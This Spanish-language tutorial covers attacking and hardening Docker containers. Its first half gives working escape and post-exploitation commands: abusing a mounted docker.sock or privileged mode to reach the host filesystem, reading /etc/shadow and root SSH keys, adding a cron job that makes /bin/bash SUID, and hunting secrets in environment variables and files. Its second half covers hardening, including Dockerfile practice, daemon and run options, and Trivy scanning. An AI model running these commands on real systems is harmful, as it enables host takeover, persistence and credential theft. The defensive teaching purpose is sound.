Docker es omnipresente en infraestructuras modernas, pero una configuración incorrecta puede exponer el host o toda la red interna. Este proyecto cubre los ataques más comunes contra contenedores Docker y las medidas de hardening para prevenirlos.
# Verificar si estamos en un contenedor:
cat /proc/1/cgroup | grep docker
ls /.dockerenv # Existe en contenedores Docker
hostname # Suele ser el container ID (hash)
# Información del sistema:
uname -a
cat /etc/os-release
env # Variables de entorno (pueden tener credenciales)
mount | grep overlay # Sistema de archivos overlay = contenedor
# Capacidades del proceso actual:
cat /proc/self/status | grep CapEff
# Decodificar:
capsh --decode=0000000000003000
# Si el socket de Docker está montado dentro del contenedor:
ls -la /var/run/docker.sock
# Explotación — crear contenedor privilegiado con el sistema de ficheros del host:
docker -H unix:///var/run/docker.sock run -it \
--rm \
-v /:/host \
alpine chroot /host sh
# Alternativa sin imagen local — descargar Alpine y escapar:
docker -H unix:///var/run/docker.sock pull alpine
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# Una vez dentro del host:
cat /etc/shadow
crontab -l -u root
ls /root/.ssh/
# Detectar si el contenedor corre como privilegiado:
cat /proc/self/status | grep CapEff
# Si CapEff = 0000003fffffffff → privilegiado
# Explotación con montaje del disco del host:
# 1. Ver dispositivos de bloque:
fdisk -l
# 2. Montar el disco del host:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# 3. Acceso completo al sistema de archivos:
ls /mnt/host/root
cat /mnt/host/etc/shadow
# 4. Persistencia — añadir tarea cron al host:
echo "* * * * * root chmod +s /bin/bash" >> /mnt/host/etc/crontab
# Variables de entorno (muy común — credenciales hardcodeadas):
printenv | grep -iE "pass|secret|token|key|db_|api"
# Historial de capas de la imagen (fugas en build):
docker history imagen:tag --no-trunc
# Buscar contraseñas añadidas en RUN o ENV durante el build
# Inspecionar metadatos de la imagen:
docker inspect container_id | python3 -m json.tool | grep -iE "env|password|secret"
# Ficheros de configuración dentro del contenedor:
find / -name "*.env" -o -name "config.php" -o -name "database.yml" 2>/dev/null
cat /app/.env 2>/dev/null
# MAL: imagen base genérica + root + secretos en build
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123
RUN apt-get install -y curl
COPY . /app
# BIEN: imagen minimalista + usuario no root + sin secretos
FROM python:3.12-slim
# Usuario no privilegiado:
RUN groupadd -r appuser && useradd -r -g appuser appuser
# Solo instalar lo necesario:
RUN apt-get update && apt-get install -y --no-install-recommends \
libpq5 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --chown=appuser:appuser requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY --chown=appuser:appuser . .
# Cambiar a usuario sin privilegios:
USER appuser
EXPOSE 8080
CMD ["python", "app.py"]
# Editar /etc/docker/daemon.json:
{
"icc": false, // Sin comunicación inter-contenedor
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3"
},
"userns-remap": "default", // Remapear UID/GID al host
"no-new-privileges": true, // Evitar escalada dentro del contenedor
"seccomp-profile": "/etc/docker/seccomp.json"
}
# Reiniciar Docker:
systemctl restart docker
# Opciones de seguridad al arrancar contenedores:
docker run \
--read-only \ # Sistema de archivos solo lectura
--tmpfs /tmp \ # /tmp en memoria
--no-new-privileges \ # Sin nuevos privilegios
--cap-drop ALL \ # Quitar todas las capabilities
--cap-add NET_BIND_SERVICE \ # Solo añadir las necesarias
--security-opt no-new-privileges:true \
--security-opt seccomp:default \
--user 1000:1000 \ # Usuario sin privilegios
--memory 512m \ # Limitar memoria
--cpus 0.5 \ # Limitar CPU
-p 127.0.0.1:8080:8080 \ # Bind solo a localhost
mi-imagen:latest
# Trivy — escáner de vulnerabilidades en imágenes Docker:
apt install trivy
# o:
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
# Escanear imagen:
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL mi-app:latest
# Escanear contenedor en ejecución:
trivy image --input /var/lib/docker/image/overlay2/...
# Docker Bench Security (benchmark CIS para Docker):
docker run --rm -it --net host --pid host --userns host --cap-add audit_control \
-v /etc:/etc:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
docker/docker-bench-security
| Medida | Comando / Configuración |
|---|---|
| No exponer socket Docker | No montar /var/run/docker.sock |
| No usar modo privilegiado | Omitir --privileged |
| Usuario no root | USER appuser en Dockerfile |
| Solo capabilities necesarias | --cap-drop ALL --cap-add ... |
| FS solo lectura | --read-only |
| Sin secretos en imagen | Usar Docker Secrets o variables en runtime |
| Escanear imagen | trivy image nombre:tag |
| Benchmark CIS | docker/docker-bench-security |